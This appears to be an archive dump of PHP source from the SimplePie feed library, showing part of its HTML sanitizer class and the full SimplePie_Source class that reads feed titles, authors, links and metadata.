true; var $cache_location = './cache'; var $cache_name_function = 'md5'; var $timeout = 10; var $useragent = ''; var $force_fsockopen = false; var $replace_url_attributes = null; public function __construct() { // Set defaults $this->set_url_replacements(null); } public function remove_div($enable = true) { $this->remove_div = (bool) $enable; } public function set_image_handler($page = false) { if ($page) { $this->image_handler = (string) $page; } else { $this->image_handler = false; } } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache') { if (isset($enable_cache)) { $this->enable_cache = (bool) $enable_cache; } if ($cache_location) { $this->cache_location = (string) $cache_location; } if ($cache_name_function) { $this->cache_name_function = (string) $cache_name_function; } } public function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false) { if ($timeout) { $this->timeout = (string) $timeout; } if ($useragent) { $this->useragent = (string) $useragent; } if ($force_fsockopen) { $this->force_fsockopen = (string) $force_fsockopen; } } public function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style')) { if ($tags) { if (is_array($tags)) { $this->strip_htmltags = $tags; } else { $this->strip_htmltags = explode(',', $tags); } } else { $this->strip_htmltags = false; } } public function encode_instead_of_strip($encode = false) { $this->encode_instead_of_strip = (bool) $encode; } public function strip_attributes($attribs = array('bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc')) { if ($attribs) { if (is_array($attribs)) { $this->strip_attributes = $attribs; } else { $this->strip_attributes = explode(',', $attribs); } } else { $this->strip_attributes = false; } } public function add_attributes($attribs = array('audio' => array('preload' => 'none'), 'iframe' => array('sandbox' => 'allow-scripts allow-same-origin'), 'video' => array('preload' => 'none'))) { if ($attribs) { if (is_array($attribs)) { $this->add_attributes = $attribs; } else { $this->add_attributes = explode(',', $attribs); } } else { $this->add_attributes = false; } } public function strip_comments($strip = false) { $this->strip_comments = (bool) $strip; } public function set_output_encoding($encoding = 'UTF-8') { $this->output_encoding = (string) $encoding; } /** * Set element/attribute key/value pairs of HTML attributes * containing URLs that need to be resolved relative to the feed * * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite, * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite, * |q|@cite * * @since 1.0 * @param array|null $element_attribute Element/attribute key/value pairs, null for default */ public function set_url_replacements($element_attribute = null) { if ($element_attribute === null) { $element_attribute = array( 'a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array( 'longdesc', 'src' ), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite' ); } $this->replace_url_attributes = (array) $element_attribute; } public function sanitize($data, $type, $base = '') { $data = trim($data); if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI) { if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML) { if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data)) { $type |= SIMPLEPIE_CONSTRUCT_HTML; } else { $type |= SIMPLEPIE_CONSTRUCT_TEXT; } } if ($type & SIMPLEPIE_CONSTRUCT_BASE64) { $data = base64_decode($data); } if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML)) { if (!class_exists('DOMDocument')) { throw new SimplePie_Exception('DOMDocument not found, unable to use sanitizer'); } $document = new DOMDocument(); $document->encoding = 'UTF-8'; $data = $this->preprocess($data, $type); set_error_handler(array('SimplePie_Misc', 'silence_errors')); $document->loadHTML($data); restore_error_handler(); $xpath = new DOMXPath($document); // Strip comments if ($this->strip_comments) { $comments = $xpath->query('//comment()'); foreach ($comments as $comment) { $comment->parentNode->removeChild($comment); } } // Strip out HTML tags and attributes that might cause various security problems. // Based on recommendations by Mark Pilgrim at: // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely if ($this->strip_htmltags) { foreach ($this->strip_htmltags as $tag) { $this->strip_tag($tag, $document, $xpath, $type); } } if ($this->strip_attributes) { foreach ($this->strip_attributes as $attrib) { $this->strip_attr($attrib, $xpath); } } if ($this->add_attributes) { foreach ($this->add_attributes as $tag => $valuePairs) { $this->add_attr($tag, $valuePairs, $document); } } // Replace relative URLs $this->base = $base; foreach ($this->replace_url_attributes as $element => $attributes) { $this->replace_urls($document, $element, $attributes); } // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags. if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) { $images = $document->getElementsByTagName('img'); foreach ($images as $img) { if ($img->hasAttribute('src')) { $image_url = call_user_func($this->cache_name_function, $img->getAttribute('src')); $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, $image_url, 'spi')); if ($cache->load()) { $img->setAttribute('src', $this->image_handler . $image_url); } else { $file = $this->registry->create('File', array($img->getAttribute('src'), $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen)); $headers = $file->headers; if ($file->success && ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) { if ($cache->save(array('headers' => $file->headers, 'body' => $file->body))) { $img->setAttribute('src', $this->image_handler . $image_url); } else { trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } } } } } } // Get content node $div = $document->getElementsByTagName('body')->item(0)->firstChild; // Finally, convert to a HTML string $data = trim($document->saveHTML($div)); if ($this->remove_div) { $data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '', $data); $data = preg_replace('/<\/div>$/', '', $data); } else { $data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '<div>', $data); } } if ($type & SIMPLEPIE_CONSTRUCT_IRI) { $absolute = $this->registry->call('Misc', 'absolutize_url', array($data, $base)); if ($absolute !== false) { $data = $absolute; } } if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI)) { $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8'); } if ($this->output_encoding !== 'UTF-8') { $data = $this->registry->call('Misc', 'change_encoding', array($data, 'UTF-8', $this->output_encoding)); } } return $data; } protected function preprocess($html, $type) { $ret = ''; $html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html); if ($type & ~SIMPLEPIE_CONSTRUCT_XHTML) { // Atom XHTML constructs are wrapped with a div by default // Note: No protection if $html contains a stray </div>! $html = '<div>' . $html . '</div>'; $ret .= '<!DOCTYPE html>'; $content_type = 'text/html'; } else { $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'; $content_type = 'application/xhtml+xml'; } $ret .= '<html><head>'; $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />'; $ret .= '</head><body>' . $html . '</body></html>'; return $ret; } public function replace_urls($document, $tag, $attributes) { if (!is_array($attributes)) { $attributes = array($attributes); } if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) { $elements = $document->getElementsByTagName($tag); foreach ($elements as $element) { foreach ($attributes as $attribute) { if ($element->hasAttribute($attribute)) { $value = $this->registry->call('Misc', 'absolutize_url', array($element->getAttribute($attribute), $this->base)); if ($value !== false) { $element->setAttribute($attribute, $value); } } } } } } public function do_strip_htmltags($match) { if ($this->encode_instead_of_strip) { if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style'))) { $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8'); $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8'); return "<$match[1]$match[2]>$match[3]</$match[1]>"; } else { return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8'); } } elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style'))) { return $match[4]; } else { return ''; } } protected function strip_tag($tag, $document, $xpath, $type) { $elements = $xpath->query('body//' . $tag); if ($this->encode_instead_of_strip) { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); // For elements which aren't script or style, include the tag itself if (!in_array($tag, array('script', 'style'))) { $text = '<' . $tag; if ($element->hasAttributes()) { $attrs = array(); foreach ($element->attributes as $name => $attr) { $value = $attr->value; // In XHTML, empty values should never exist, so we repeat the value if (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_XHTML)) { $value = $name; } // For HTML, empty is fine elseif (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_HTML)) { $attrs[] = $name; continue; } // Standard attribute text $attrs[] = $name . '="' . $attr->value . '"'; } $text .= ' ' . implode(' ', $attrs); } $text .= '>'; $fragment->appendChild(new DOMText($text)); } $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } if (!in_array($tag, array('script', 'style'))) { $fragment->appendChild(new DOMText('</' . $tag . '>')); } $element->parentNode->replaceChild($fragment, $element); } return; } elseif (in_array($tag, array('script', 'style'))) { foreach ($elements as $element) { $element->parentNode->removeChild($element); } return; } else { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } $element->parentNode->replaceChild($fragment, $element); } } } protected function strip_attr($attrib, $xpath) { $elements = $xpath->query('//*[@' . $attrib . ']'); foreach ($elements as $element) { $element->removeAttribute($attrib); } } protected function add_attr($tag, $valuePairs, $document) { $elements = $document->getElementsByTagName($tag); foreach ($elements as $element) { foreach ($valuePairs as $attrib => $value) { $element->setAttribute($attrib, $value); } } } } ��������������������������������������������������������������������������SimplePie/Source-stream.php�������������������������������������������������������������������������0000644�����������������00000000000�15120262027�0011660 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/Source.php��������������������������������������������������������������������������������0000644�����������������00000047451�15120262027�0010414 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<atom:source>` * * Used by {@see SimplePie_Item::get_source()} * * This class can be overloaded with {@see SimplePie::set_source_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Source { var $item; var $data = array(); protected $registry; public function __construct($item, $data) { $this->item = $item; $this->data = $data; } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function __toString() { return md5(serialize($this->data)); } public function get_source_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } return null; } public function get_base($element = array()) { return $this->item->get_base($element); } public function sanitize($data, $type, $base = '') { return $this->item->sanitize($data, $type, $base); } public function get_item() { return $this->item; } public function get_title() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } return null; } public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } public function get_categories() { $categories = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', array($term, $scheme, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($categories)) { return array_unique($categories); } return null; } public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } return null; } public function get_authors() { $authors = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', array($name, $uri, $email)); } } if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', array($name, $url, $email)); } } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($authors)) { return array_unique($authors); } return null; } public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } return null; } public function get_contributors() { $contributors = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', array($name, $uri, $email)); } } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', array($name, $url, $email)); } } if (!empty($contributors)) { return array_unique($contributors); } return null; } public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if (isset($links[$key])) { return $links[$key]; } return null; } /** * Added for parity between the parent-level and the item/entry-level. */ public function get_permalink() { return $this->get_link(0); } public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = array(); if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key))) { if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } return null; } public function get_description() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } return null; } public function get_copyright() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } return null; } public function get_language() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['xml_lang'])) { return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } return null; } public function get_latitude() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } return null; } public function get_longitude() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } return null; } public function get_image_url() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image')) { return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } return null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/XML/Declaration/Parser.php����������������������������������������������������������������0000644�����������������00000015672�15120262027�0013275 